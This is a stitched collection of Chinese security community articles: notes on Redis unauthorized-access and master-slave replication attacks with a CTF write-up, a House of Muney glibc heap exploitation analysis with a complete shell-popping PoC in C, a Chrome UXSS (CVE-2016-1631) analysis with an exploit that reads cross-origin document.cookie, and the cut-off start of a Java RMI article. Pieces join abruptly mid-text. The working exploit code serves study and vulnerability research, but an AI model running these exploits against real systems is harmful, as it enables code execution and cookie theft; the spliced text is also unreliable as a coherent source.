## 未授权访问
### 原理
Redis因配置不当可以导致未授权访问，被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式，在特定条件下，如果Redis以root身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器，可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生，严重危害业务正常服务。
### 前提 **：**
* redis绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网；
* 没有设置密码认证（一般为空），可以免密码远程登录redis服务。
### **漏洞危害**
（1）Redis数据泄露
Redis数据表中存储着企业的私有数据，比如一些网站的账户密码、FTP账户密码等，攻击者可以随时查看数据表的内容。
（2）Redis数据销毁
攻击者可以修改redis数据表，增删key项，如调用fluxhall命令清除所有key。
（3）主机系统环境泄露，为后续攻击提供网络信息
例如，使用 info 命令可以查看主机的相关信息，如操作系统环境、目录名、CPU/内存等敏感信息。
（4）结合技术手段控制主机
利用redis未经授权的漏洞，不仅对redis数据构成威胁，而且通过一定的技术手段控制目标主机系统，获得主机控制权。
## 主从复制
### 原理
漏洞存在于4.x、5.x版本中，Redis提供了主从模式，主从模式指使用一个redis作为主机，其他的作为备份机，主机从机数据都是一样的，从机负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。在redis
4.x之后，通过外部拓展可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件，即可执行命令。
### 利用前提
* redis 4.x/5.x
* 无需root账号启动redis，普通权限也可以
### 什么是主从复制?
主从复制，是指将一台Redis服务器的数据，复制到其他的Redis服务器。前者称为主节点(master)，后者称为从节点(slave)；数据的复制是单向的，只能由主节点到从节点。
Redis的持久化使得机器即使重启数据也不会丢失，因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除，而主从复制则能解决这个问题，主redis的数据和从redis上的数据保持实时同步，当主redis写入数据是就会通过主从复制复制到其它从redis。
### [天翼杯 2021]esay_eval
连接蚁剑后发现了其他目录不可访问，因为设置了 **`open_basedir`** ，即PHP设置中为了防御PHP跨目录进行文件（目录）读写的方法。但
php 5.3 后少有绕过的方法，所以这个攻击方向暂不考虑。在phpinfo中查看 open_basedir 的目录，发现 **`/tmp`** 也允许读写
除此之外，本目录下有一个`.swp`的 vim 泄露文件，进入查看发现了Redis服务的密码，数据库名、密码、用户名和主机名，很容易想到是
**利用Redis提权**
<?php
define("DB_HOST","localhost");
define("DB_USERNAME","root");
define("DB_PASSWOrd","");
define("DB_DATABASE","test");
define("REDIS_PASS","you_cannot_guess_it");
PHP
下载并加载蚁剑Redis插件并连接Redis服务，向`/var/www/html`上传恶意`.so`文件（<https://github.com/Dliv3/redis-rogue-server>） | 社区文章 |
# House of Muney 分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Glibc带源码调试
因为在分析的最后涉及通过`GDB`调试来确定一些关键变量的取值，因此为了调试方便，在此处说明如何启动带源码的`glibc`调试
注：以下步骤均在`ubuntu 21.04(Ubuntu GLIBC 2.31-0ubuntu9.2)`测试通过。
### 安装debug版本的动态链接库
使用以下命令以安装带`Debug`符号的`Libc`文件
sudo apt-get install libc6-dbg libc6-dbg:i386
sudo apt-get install libc6-dev libc6-dev:i386
安装结束后，会在系统的`/lib/debug`下创建形如下图的目录
### 获取libc源码
确认`source.list`内`deb-src`项已经被解除注释
在待分析程序的同目录下使用以下命令获取`libc`源码
sudo apt source glibc
请注意！此命令会获取当前最新的`ubuntu glibc`源码，因此请保证当前的系统内的`libc`版本为最新
### 调试模式编译待调试程序(以PoC为例)
使用以下命令编译程序
gcc -z lazy -g -o munmap_rewrite munmap_rewrite.c
PS：其中，`-z lazy`用于保证`PoC`可用，与调试模式无关
使用`gdb`对待测程序进行附加，并执行相关环境配置
error404@Glibc-231:~$ gdb munmap_rewrite_normal
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 197 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from munmap_rewrite_normal...
pwndbg> set debug-file-directory /glibc-2.31/elf
pwndbg> dir /glibc-2.31/elf
Source directories searched: /glibc-2.31/elf:$cdir:$cwd
pwndbg> info share ld-linux
From To Syms Read Shared Object Library
0x00007ffff7fd0100 0x00007ffff7ff2674 Yes (*) /lib64/ld-linux-x86-64.so.2
(*): Shared library is missing debugging information.
pwndbg> add-symbol-file /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.31.so 0x00007ffff7fd0100
add symbol table from file "/usr/lib/debug/lib/x86_64-linux-gnu/ld-2.31.so" at
.text_addr = 0x7ffff7fd0100
Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.31.so...
## PoC 分析
### “窃取”`Glibc`内存至堆中(`RO -> NO`)
首先分配一个`Chunk`阻止`Top Chunk`合并的发生
int* ptr1 = malloc(0x10);
随后申请两个特殊大小(`0x100000`)的`Chunk`(极大块)，这种大小的`Chunk`将不会存放于常规的堆空间，而是放在特殊的`mmaped`区域。
long long* mmap_chunk_1 = malloc(0x100000);
printf("The first malloc chunk goes below LibC: %p\n", mmap_chunk_1);
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second malloc chunk goes below the first malloc chunk: %p\n", mmap_chunk_2);
此时，内存布局情况为(逻辑图)：
(由低地址向高地址排布)
---
常规堆区域
……
mmap_chunk_2
mmap_chunk_1
Glibc
……
LD 区域
内存布局情况为(实例图)：
内存实际情况为(以上实例与本实例并非同一次运行)：
可以看到，此时`mmap_chunk_2`和`mmap_chunk_1`的`Prev_Size`均为`0`，`Size`均为`0x101002`
通过`readelf -all /lib/x86_64-linux-gnu/libc.so.6`对`glibc`文件分析
我们的目标是覆盖`.gnu.hash`和`.dynsym`，因此我们此处选用`0x15000`作为偏移(确保不会影响到`.dynstr`)
int libc_to_overwrite = 0x15000;
此外，我们还必须保证新的`size`为原来的两个`size`之和加上此偏移，而我们又已知`chunk`的`size`存在标志位，那么实际大小计算为
int fake_chunk_size = (0xFFFFFFFFFD & mmap_chunk_2[-1]) + (0xFFFFFFFFFD & mmap_chunk_1[-1]);
fake_chunk_size += libc_to_overwrite | 2;
执行覆盖操作
mmap_chunk_2[-1] = fake_chunk_size;
内存实际情况为：
接下来对`mmap_chunk_2`进行释放
free(mmap_chunk_2);
注意📢：此时将针对部分`glibc`内存进行`munmap`释放操作，与常规堆区域的`Chunk`释放不同，此部分内存将被直接收回至内核，此时的内存状态将处于不可读写的状态(读写操作均会触发异常)。而延迟绑定机制将会对`.gnu.hash`和`.dynsym`两个区域进行读写，因此我们此时仅能调用之前已调用过的函数，反例如下：
* 尝试对已释放内存进行读写
mmap_chunk_2[0] = 0xdeadbeef;
* 尝试调用之前未调用过的函数
exit(0);
### 取回“窃取”的`Glibc`内存(`RO -> RW`)
接下来分配一个更大的`Chunk`，这是因为`M_MMAP_THRESHOLD`会随着`munmap/free`操作发生增长，若分配的大小小于`M_MMAP_THRESHOLD`，堆操作将回到常规堆空间进行。因此，申请一个`0x300000`大小的`Chunk`
uint8_t* overlapping_chunk = malloc(0x300000);
至此，我们成功从内存取回了之前“偷走的”`Glibc`内存。现在，我们可以操作`.gnu.hash`和`.dynsym`了。
### 伪造`Glibc`内存&劫持程序流
接下来有三种方案可供选择：
1. 逐字节复制`GilbC`的内容，随后劫持符号解析表。
2. 完全劫持符号解析过程并执行任意代码
3. 满足符号解析的最低要求，随后劫持符号解析表。
这里我们选用第三种方案并详述构造过程，首先启动对比调试(左侧为经过攻击后的程序，右侧为正常程序)
在`do_lookup_x`处下断，运行
两边同步运行，可以发现当被攻击程序运行至`glibc-2.31/elf/dl-lookup.c:423`处时会发生跳出，相关代码如下：
.......
const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
if (__glibc_likely (bitmask != NULL))
{
ElfW(Addr) bitmask_word = bitmask[(new_hash / __ELF_NATIVE_CLASS) & map->l_gnu_bitmask_idxbits];
unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift) & (__ELF_NATIVE_CLASS - 1));
if (__glibc_unlikely ((bitmask_word >> hashbit1) & (bitmask_word >> hashbit2) & 1))
{
Elf32_Word bucket = map->l_gnu_buckets[new_hash % map->l_nbuckets];
if (bucket != 0)
{
const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];
do
if (((*hasharr ^ new_hash) >> 1) == 0)
{
symidx = ELF_MACHINE_HASH_SYMIDX (map, hasharr);
sym = check_match (undef_name, ref, version, flags,
type_class, &symtab[symidx], symidx,
strtab, map, &versioned_sym,
&num_versions);
if (sym != NULL)
goto found_it;
}
while ((*hasharr++ & 1u) == 0);
}
}
.......
那么我们可以在此处下断，可以发现，第一次程序抵达此断点使用的是储存在程序段的`bitmask`，而第二次经过此处，将会使用存在于`libc`中的值。程序会取`bitmask[offset]`处的值进行后续运算，那么我们只要将`bitmask[offset]`处的值设置为正确值即可。
可以看到，此时，`bitmask[offset]`的正确值应为`0xf000028c0200130e`,而受攻击的程序因为`mmap`的影响`bitmask`内容为空。但是我们面前还有一个函待解决的问题那就是`bitmask[offset]`的位置是未知的，也就是，往哪里写的问题。此处使用`pwndbg`提供的`search`功能进行定位。
此处应取距离`bitmask`最近的位置
即`0x7ffff7dca070`的位置，也就是`Glibc_base + 0x4070`的位置。那么此处使用`set
bitmask_word=0xf000028c0200130e`命令对受攻击程序进行修补
可以发现，已经顺利进入了`line 426`
紧接着，可以发现，`bucket`的值也是从`map`中取的，因此同样需要修补
那么与刚才类似
可以求出`bucket`的地址为`Glibc_base + 0x2B94`，值应为`0x86`。临时修补指令为`set bucket=0x86`
修复成功！最后需要修复的值就是`hasharr`的值了
同上步骤可得，需要向`Glibc + 0x5264`的位置，写入`0x7c967e3e7c93f2a0`
最后，劫持`sym->st_value`为要执行的代码地址(ROP/System/One_gadgets)
### 完整PoC
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
/*
Technique should work on all versions of GLibC. However, the offsets
used are specific for this particular compilation of GLibC
and for the exit function.
Compile: `./compile.sh`
- Compiles AND sets the loader to the proper location
POC written by Maxwell Dulin (Strikeout)
For a step by step on how this works, please visit the following link:
- https://maxwelldulin.com/BlogPost?post=6967456768.
*/
int main(){
/*
A primer on Mmap chunks in GLibC
==================================
In GLibC, there is a point where an allocation is so large that malloc
decides that we need a seperate section of memory for it, instead
of allocating it on the normal heap. This is determined by
the mmap_threshold.
Instead of the normal logic for getting a chunk, the system call *Mmap* is
used. This allocates a section of virtual memory and gives it back to the user.
Similarly, the freeing process is going to be different. Instead
of a free chunk being given back to a bin or to the rest of the heap,
another syscall is used: *Munmap*. This takes in a pointer of a previously
allocated Mmap chunk and releases it back to the kernel.
Mmap chunks have special bit set on the size metadata: the second bit. If this
bit is set, then the chunk was allocated as an Mmap chunk.
Mmap chunks have a prev_size and a size. The *size* represents the current
size of the chunk. The *prev_size* of a chunk represents the left over space
from the size of the Mmap chunk (not the chunks directly belows size).
However, the fd and bk pointers are not used, as Mmap chunks do not go back
into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of
the chunk must be page-aligned.
For more information on mmap chunks in GLibC, read this post:
http://tukan.farm/2016/07/27/munmap-madness/
A primer on Symbol Lookup in GLibC
======================================
There is some black magic that is constantly happpening that we do not even
realize! When we include functions (from a library) this is loaded into
its own object file and there is just a reference to some function that our
program does not even know about! Printf is not written within our executable.
its written with GLibC. So, why?
Including EVERY function/symbol from GLibC into our little program would
be terribly inefficient. Our little C program does not use EVERY single
function in LibC. Additionally, several other programs are likely to use GLibC
throughout the execution of our program. So, the main goal of this dynamic symbol
table lookup is to shrink the size of an executable and promote reuseability.
But how does this work?
There are two major parts to this:
1. The PLT/GOT setup within the binary
2. The symbol lookup within the library
First, at linking time (the code has been started, as an executable, but is
altering the binary in order to make it deal with the environment). At linking
time the functions (i.e. printf) is pointed to a stub called the *PLT* or
procedure linkage table. The PLT is simply code in place of our actual function.
The first time this is called, a lookup is done in the *GOT* or global offset
table. The GOT stores the actual locations of symbols in external libraries.
However, because this is the first time, we do not know where the symbol is.
We would now pass execution to the next step (dynamic symbol lookup). If it was
after the first time though, the value in the GOT is used when the PLT stub is
called to call our function. For more information on the PLT/GOT, go to
https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html
Secondly, is the symbol lookup. This only occurs on the first time that a symbol
is attempted to be accessed. Execution is passed to the loader/linker for
a short period of time during the PLT stub. At this point, the loader/linker
code scans through all object files that have been loaded into memory,
looking for a particular symbol. If the proper symbol is found, then the address
of the symbol is written back to the GOT.
In reality, this is much more complicated with hashing and bloom filters. But,
this will work as an overview.
For more information on the symbol lookup process within GLibC, go to
https://www.bottomupcs.com/libraries_and_the_linker.xhtml and
https://blogs.oracle.com/solaris/gnu-hash-elf-sections-v2.
Primer on the Attack
=========================
After learning all about Mmap chunks and the symbol lookup process you are ready
to learn about this crazy attack method!
Our goal is to overwrite parts of the symbol lookup process within LibC. Then,
point the symbol lookup to an unintended function that gains us code execution,
such as *system*. Once the symbol is returned, we have altered the execution
of the function by altering the symbol lookup!
Here are the steps for the attack:
1. Overwrite/change chunk size of an mmap chunk via buffer overflow or bad indexing.
2. Force munmap of bottom of LibC binary and other malloc chunks.
- This frees the bottom of the LibC binary, allowing for this
to be allocated back to a user.
3. Get malloc chunk with part of the LibC binary in it via very large mmap call.
4. Rewrite the symbol look up process. In particular, rewrite the following:
- Hashing and bucket system
- Symbol table entry for unresolved function
5. Call the function that has not been resolved
- Pop shell :)
The most stunning part of this attack is that it DOES NOT require ANY memory leaks.
ASLR does not affect this exploitation at all because the large malloc allocation
is directly under LibC everytime. Additionally, no pointers need to be overwritten
for this attack to work.
This attack is based upon the Qmail attack is based upon the idea at
https://www.qualys.com/2020/05/19/cve-2005-1513/remote-code-execution-qmail.txt.
Although they do not explain the exploitation process in full, they mention
this interesting technique that I thought should be more thoroughly explained.
*/
clearenv(); // Need to not crash once the shell is popped on a different system
int d;
while(1){
printf("Press enter to continue: \n");
if(getchar() == '\n'){
break;
}
}
int* ptr1 = malloc(0x10);
printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
printf("of memory, instead of being put onto the normal heap.\n");
puts("=======================================================\n");
printf("Allocating two extremely large heap chunks of 0x100000 each\n\n");
// After this, all chunks are allocated downwards in memory towards the heap.
long long* mmap_chunk_1 = malloc(0x100000);
printf("The first malloc chunk goes below LibC: %p\n", mmap_chunk_1);
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second malloc chunk goes below the first malloc chunk: %p\n", mmap_chunk_2);
printf("\nSystem Memory Layout \n" \
"================================================\n" \
"heap\n" \
"....\n" \
"second large malloc chunk\n" \
"first large malloc chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"===============================================\n\n" \
);
printf("Prev Size of second chunk: 0x%llx\n", mmap_chunk_2[-2]);
printf("Size of third chunk: 0x%llx\n\n", mmap_chunk_2[-1]);
printf("Change the size of the second chunk to overlap with the first chunk and LibC\n");
printf("This will cause both chunks to be Munmapped and given back to the system\n");
int libc_to_overwrite = 0x15000; // Enough to munmap .dynsym and .gnu.hash
// The size of the two previous chunks added together
int fake_chunk_size = (0xFFFFFFFFFD & mmap_chunk_2[-1]) + (0xFFFFFFFFFD & mmap_chunk_1[-1]);
// Amount of bytes of libc to overwrite, with the mmap bit set for the chunk
fake_chunk_size += libc_to_overwrite | 2;
// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below it.
mmap_chunk_2[-1] = fake_chunk_size;
printf("New size of second malloc chunk: 0x%llx\n", mmap_chunk_2[-1]);
printf("Free the second chunk, which munmaps the second chunk, first chunk and part of LibC\n\n");
printf("Although the entire beginning section if marked executable, a large portion is just text\n");
printf("In particular, the .dynsym & .gnu.hash are munmapped\n");
/*
This next call to free is actually just going to call munmap on the pointer
we are passing it. The source code for this can be found at
https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845
With normal frees the data is still writable and readable (which creates a use
after free on the chunk). However, when a chunk is munmapped, the memory is given
back to the kernel. If this data is read or written to, the program automatically
crashes.
Because of this added restriction, the main goal is to get the memory back
from the system to have two pointers assigned to the same area in memory.
In this case, have an mmap chunk overlapping with LibC.
Additionally, because we are about the munmap several sections of LibC, we cannot
access functions/symbols that we have not called before. This is because the
locations where this data is stored are currently not available for the symbol
loading process.
*/
// Munmaps both the first and second pointers and part of LibC (.gnu.hash and .dymsym)
free(mmap_chunk_2);
// exit(0);
// mmap_chunk_2[0] = 0xdeadbeef;
/*
Would crash, if on the following:
mmap_chunk_2[0] = 0xdeadbeef;
This is because the memory would not be allocated to the current program.
*/
/*
Allocate a very large chunk with malloc. This needs to be larger than
the previously freed chunk because the mmapthreshold has increased.
If the allocation is not larger than the size of the largest freed mmap
chunk then the allocation will happen in the normal section of heap memory.
*/
printf("Get a very large chunk from malloc\n");
printf("This should overlap over the previously munmapped/freed chunks\n");
uint8_t* overlapping_chunk = malloc(0x300000);
printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
printf("Overlapped chunk Ptr Size: 0x%llx\n", ((long long *) overlapping_chunk)[-1]);
while(1){
printf("Press enter to continue: \n");
if(getchar() == '\n'){
break;
}
}
printf("\n\nStart overwritting process of .gnu.hash and .dynsym sections\n");
printf("=============================================================\n");
// Distance between .dynsym base and exit symbol table entry
int libc_exit_dynsym = 0xc00; // In amount of bytes
// int libc_system_offset = 0x0459e7; // Offset from LibC base to system
// int libc_system_offset = 0x055410; // Offset from LibC base to system
int libc_system_offset = 0xe6c81; // Offset from LibC base to system
/*
All of the offsets (shown below) are RELATIVE to the beginning of LibC.
Additionally, if an array is being indexed, this is INCLUDED in the offset below.
This is the actual spot being written to, not the offset to the array. This
was done in order to make the POC simpler to read but should be considered
when attempting to write a POC.
*/
// .gnu.hash offsets and .dynsym offsets for where the data is stored at.
int gnu_bitmask_offset = 0x4070;
int gnu_bucket_offset = 0x4198;
int gnu_chain_zero_offset = 0x5260;
int symbol_table_offset = 0x81f0;
// Important values that need to set in order for this to work
long long hash_value = 0xf000028c0200130e;
long long bucket_value = 0x86;
long long chain_zero_value_part1 = 0x7c93f2a0bb73da47;
long long chain_zero_value_part2 = 0xa36b4f2b7c967e3e;
// Pointer to the beginning of the LibC object file (prior to munmap)
uint8_t* elf_header_ptr = overlapping_chunk + (0x2ec000 - 0x10);
printf("Elf Header Ptr: %p\n", elf_header_ptr);
elf_header_ptr[0] = 0x41; // Not needed but nice reference point
uint8_t* elf_bitmask_ptr = elf_header_ptr + gnu_bitmask_offset;
printf("Elf BitMask Ptr: %p\n", elf_bitmask_ptr);
uint8_t* elf_bucket_ptr = elf_header_ptr + gnu_bucket_offset;
printf("Elf Bucket Ptr: %p\n", elf_bucket_ptr);
uint8_t* elf_chain_zero_ptr = elf_header_ptr + gnu_chain_zero_offset;
printf("Elf Chain Zero Ptr: %p\n", elf_chain_zero_ptr);
// Begin WRITING the values
printf("Setting bitmap value\n");
// Set the bitmap
*((long long *) elf_bitmask_ptr) = hash_value;
printf("Setting bucket value\n");
// Set the bucket to be used
*((long long *) elf_bucket_ptr) = bucket_value;
/*
Hasharr:
- This may need MULTIPLE writes in order to go through the iterator completely.
- For this case, only a single write was needed though.
*/
printf("Setting chain_zero value\n");
// Set the hasharr to use
*((long long*) elf_chain_zero_ptr) = chain_zero_value_part1;
*((long long*) elf_chain_zero_ptr + 1) = chain_zero_value_part2;
// Symbol table entry pointing to the exit entry
uint8_t* symbol_table_ptr = elf_header_ptr + symbol_table_offset;
printf("Symbol table ptr: %p\n", symbol_table_ptr);
printf("Setting symbol table values\n");
// Setting the values of the symbol table for exit
int* symbol_table_exit = (int *)symbol_table_ptr;
symbol_table_exit[0] = 0x2efb;
symbol_table_exit[1] = 0x00100012;
printf("Setting symbol table offset to point to system instead of exit");
symbol_table_exit[2] = libc_system_offset; // Value of the offset to system
symbol_table_exit[3] = 0x0; // st_other
symbol_table_exit[4] = 0x20; // st_size
printf("\nIf all goes well, popping a shell :)\n");
// Pop a shell :)
exit("/bin/sh");
}
## 参考链接
[House of Muney – Leakless Heap Exploitation
Technique](https://maxwelldulin.com/BlogPost?post=6967456768) | 社区文章 |
Author: **[Avfisher@网络尖刀](http://avfisher.win/archives/619)**
## 0x00 前言
本文的写作来源于前几天一个小伙伴发过来一个漏洞链接让笔者帮忙解释一下漏洞原理，为了便于小伙伴的理解且留作笔记供日后查阅遂写此文。
本文讨论的漏洞已早已修复，但作为漏洞研究还是很有价值的。此漏洞由研究人员Marius
Mlynski发现并于2015年12月14日报告的一个Chrome不当地使用Flash消息循环而产生的UXSS漏洞（CVE-2016-1631）。
## 0x01 分析
漏洞影响：
Chrome 47.0.2526.80 (Stable)
Chrome 48.0.2564.41 (Beta)
Chrome 49.0.2587.3 (Dev)
Chromium 49.0.2591.0 + Pepper Flash
原漏洞报告如下：
From /content/renderer/pepper/ppb_flash_message_loop_impl.cc:
---------------- int32_t PPB_Flash_MessageLoop_Impl::InternalRun(
const RunFromHostProxyCallback& callback) {
(...)
// It is possible that the PPB_Flash_MessageLoop_Impl object has been
// destroyed when the nested message loop exits.
scoped_refptr<State> state_protector(state_);
{
base::MessageLoop::ScopedNestableTaskAllower allow(
base::MessageLoop::current());
base::MessageLoop::current()->Run();
}
(...)
}
----------------
报告者解释说：PPB_Flash_MessageLoop_Impl::InternalRun在运行一个嵌套消息循环之前没有初始化ScopedPageLoadDeferrer，从而导致能够在任意Javascrpit的执行点加载一个跨域文档造成了XSS。
接下来，我们来看看报告者提供的[POC](https://bugs.chromium.org/p/chromium/issues/attachment?aid=218674)，主要有三个文件：
* p.as： 一个ActionScript脚本文件
* p.swf： 一个swf格式的Flash文件
* poc.html： 具体的poc代码
p.as:
package {
import flash.display.*;
import flash.external.*;
import flash.printing.*;
public class p extends Sprite {
public function f():void {
new PrintJob().start();
}
public function p():void {
ExternalInterface.addCallback('f', f);
ExternalInterface.call('top.cp');
}
}
}
poc.html:
<script>
if (location.href.startsWith('file')) {
throw alert('This does not work from file:, please put it on an HTTP server.')
}
var c0 = 0;
function cp() {
++c0;
}
var fs = [];
for (var a = 0; a < 10; a++) {
var i = document.documentElement.appendChild(document.createElement('iframe'));
i.src = 'p.swf';
fs.push(i);
}
// This function will call into Flash, which will start a PrintJob,
// which will send a PPB_Flash_MessageLoop message to the renderer,
// which will spin a nested event loop on the main thread through
// PPB_Flash_MessageLoop_Impl::InternalRun, which doesn't set up a
// ScopedPageLoadDeferrer.
function message_loop() {
var pw = fs.pop().contentWindow;
pw.name = 'p' + fs.length;
// The magic happens here:
pw.document.querySelector('embed').f();
// Clean-up phase -- now that the print operation has served its
// purpose of spinning a nested event loop, kill the print dialog
// in case it's necessary to spin the loop again.
var a = document.createElement('a');
a.href = 'about:blank';
a.target = 'p' + fs.length;
a.click();
if (fs.length < 6) {
var then = Date.now();
while (Date.now() - then < 1000) {}
}
}
function f() {
if (c0 == 10) {
clearInterval(t);
// The initial location of this iframe is about:blank.
// It shouldn't change before the end of this function
// unless a nested event loop is spun without a
// ScopedPageLoadDeferrer on the stack.
// |alert|, |print|, etc. won't work, as they use a
// ScopedPageLoadDeferrer to defer loads during the loop.
var i = document.documentElement.appendChild(document.createElement('iframe'));
// Let's schedule an asynchronous load of a cross-origin document.
i.contentWindow.location.href = 'data:text/html,';
// Now let's try spinning the Flash message loop.
// If the load succeeds, |i.contentDocument| will throw.
try {
while (i.contentDocument) { message_loop(); }
} catch(e) {}
// Check the final outcome of the shenanigans.
try {
if (i.contentWindow.location.href === 'about:blank') {
alert('Nothing unexpected happened, good.');
}
} catch(e) {
alert('The frame is cross-origin already, this is bad.');
}
}
}
var t = setInterval(f, 100);
</script>
POC的原理就是在页面中创建多个源为Flash文件的iframe，然后调用as脚本开启打印工作任务，此时Chrome将通过PPB_Flash_MessageLoop_Impl::InternalRun方法在主线程中运行一个嵌套的MessageLoop消息循环来发送PPB_Flash_MessageLoop消息给渲染器，由于PPB_Flash_MessageLoop_Impl::InternalRun方法没有在栈上设置ScopedPageLoadDeferrer来推迟加载从而导致嵌套的MessageLoop在循环时能够回调脚本并加载任意资源造成了UXSS漏洞。
那么，如何来理解这个漏洞呢？
在Chrome中，我们知道，每个线程都有一个MessageLoop（消息循环）实例。报告中的PPB_Flash_MessageLoop_Impl实际上就是Chrome处理Flash事件的消息循环的实现。当浏览器接收到要打印Flash文件的消息时，会开启一个MessageLoop来处理打印事件，而此时如果在运行的嵌套的消息循环里没有终止脚本的回调以及资源加载的方法的话，就可以通过脚本回调代码绕过SOP加载任意资源，也就造成了XSS漏洞。
从下面是源代码作者做的修复可以更好的了解漏洞的产生原因。
不难发现，源码作者实际上仅做了以下更改：
1. 添加了#include “third_party/WebKit/public/web/WebView.h”；
2. 在执行base::MessageLoop::current()->Run();之前添加了blink::WebView::willEnterModalLoop();
3. 在执行base::MessageLoop::current()->Run();之后添加了blink::WebView::didExitModalLoop();
找到third_party/WebKit/public/web/WebView.h文件，我们在当中找到了步骤2和3的方法如下：
third_party/WebKit/public/web/WebView.h：
----------------------- // Modal dialog support ------------------------------------------------ // Call these methods before and after running a nested, modal event loop
// to suspend script callbacks and resource loads.
BLINK_EXPORT static void willEnterModalLoop();
BLINK_EXPORT static void didExitModalLoop();
（...）
-----------------------
显然,
修复漏洞的方法就是在执行一个嵌套的模态事件循坏前后调用这2个方法来防止脚本的回调以及资源的加载，从而阻止了因为脚本回调而绕过SOP的XSS漏洞的产生。
## 0x02 利用
首先，下载[exploit](https://bugs.chromium.org/p/chromium/issues/attachment?aid=190008)并部署到你的web服务器上。
解压后，文档目录如下：
├── exploit
│ ├── exploit.html
│ ├── f.html
│ ├── p.as
│ └── p.swf
打开exploit.html修改如下：
<script>
var c0 = 0;
var c1 = 0;
var fs = [];
function cp() {
++c0;
}
for (var a = 0; a < 10; a++) {
var i = document.documentElement.appendChild(document.createElement('iframe'));
i.src = 'p.swf';
fs.push(i);
}
function ml() {
var pw = fs.pop().contentWindow;
pw.name = 'p' + fs.length;
pw.document.querySelector('embed').f();
var a = document.createElement('a');
a.href = 'about:blank';
a.target = 'p' + fs.length;
a.click();
if (fs.length < 6) {
var then = Date.now();
while (Date.now() - then < 1000) {}
}
}
function f() {
if (++c1 == 2) {
var x1 = x.contentWindow[0].frameElement.nextSibling;
x1.src = 'http://avfisher.win/'; //此处可修改成目标浏览器上打开的任意的站点
try {
while (x1.contentDocument) { ml(); }
} catch(e) {
x1.src = 'javascript:if(location!="about:blank")alert(document.cookie)'; //此处为在目标站点上想要执行的js代码
}
}
}
function c() {
if (c0 == 10) {
clearInterval(t);
x = document.documentElement.appendChild(document.createElement('iframe'));
x.src = 'f.html';
}
}
var t = setInterval(c, 100);
</script>
利用效果如下：
## 0x03 参考
* <https://bugs.chromium.org/p/chromium/issues/detail?id=569496>
* [https://codereview.chromium.org/1559113002/diff/40001/content/renderer/pepper/ppb_flash_message_loop_impl.cc?context=10&column_width=80&tab_spaces=8](https://codereview.chromium.org/1559113002/diff/40001/content/renderer/pepper/ppb_flash_message_loop_impl.cc?context=10&column_width=80&tab_spaces=8)
* <https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/third_party/WebKit/public/web/WebView.h>
* <https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/base/message_loop/message_loop.h#581>
* <http://blog.csdn.net/zero_lee/article/details/7905121>
* <http://www.360doc.com/content/13/0422/16/168576_280145531.shtml>
原文链接：http://avfisher.win/archives/619
* * * | 社区文章 |
**作者： Alpha@天融信阿尔法实验室**
**原文链接：<https://mp.weixin.qq.com/s/tAPCzt6Saq5q7W0P7kBdJg>**
## 前言
Java反序列化漏洞一直都是Java
Web漏洞中比较难以理解的点，尤其是碰到了RMI和JNDI种种概念时，就更加的难以理解了。笔者根据网上各类相关文章中的讲解，再结合自己对RMI
JRMP以及JNDI等概念的理解，对
RMI客户端、服务端以及rmiregistry之间的关系，和三方之间的多种攻击方式进行了详细的介绍，希望能对各位读者学习Java Web安全有所帮助。
## RPC框架原理简介
首先讲这些之前要明白一个概念，所有编程中的高级概念，看似很高级的一些功能什么的，都是建立于最基础的代码之上的，再高级也他离不开JDK。
例如此次涉及到的分布式的概念，就是通过java的socket，序列化，反序列化和反射来实现的。
举例说明
客户端要调用服务端的A对象的A方法，客户端会生成A对象的代理对象，代理对象里通过用Socket与服务端建立联系，然后将A方法以及调用A方法是要传入的参数序列化好通过socket传输给服务端，服务端接受反序列化接受到的数据，然后通过反射调用A对象的A方法并将参数传入，最终将执行结果返回给客户端，给人一种客户端在本地调用了服务端的A对象的A方法的错觉。
## RMI流程源码分析
到后来JAVA RMI这块也不例外 但是为了方便更灵活的调用发展成了以下的样子
在客户端(远程方法调用者)和服务端(远程方法提供者)之间又多了一个丙方也就所谓的Registry也就是注册中心。
启动这个注册中心的代码非常简单，如下所示
这个Registry是一个单独的程序
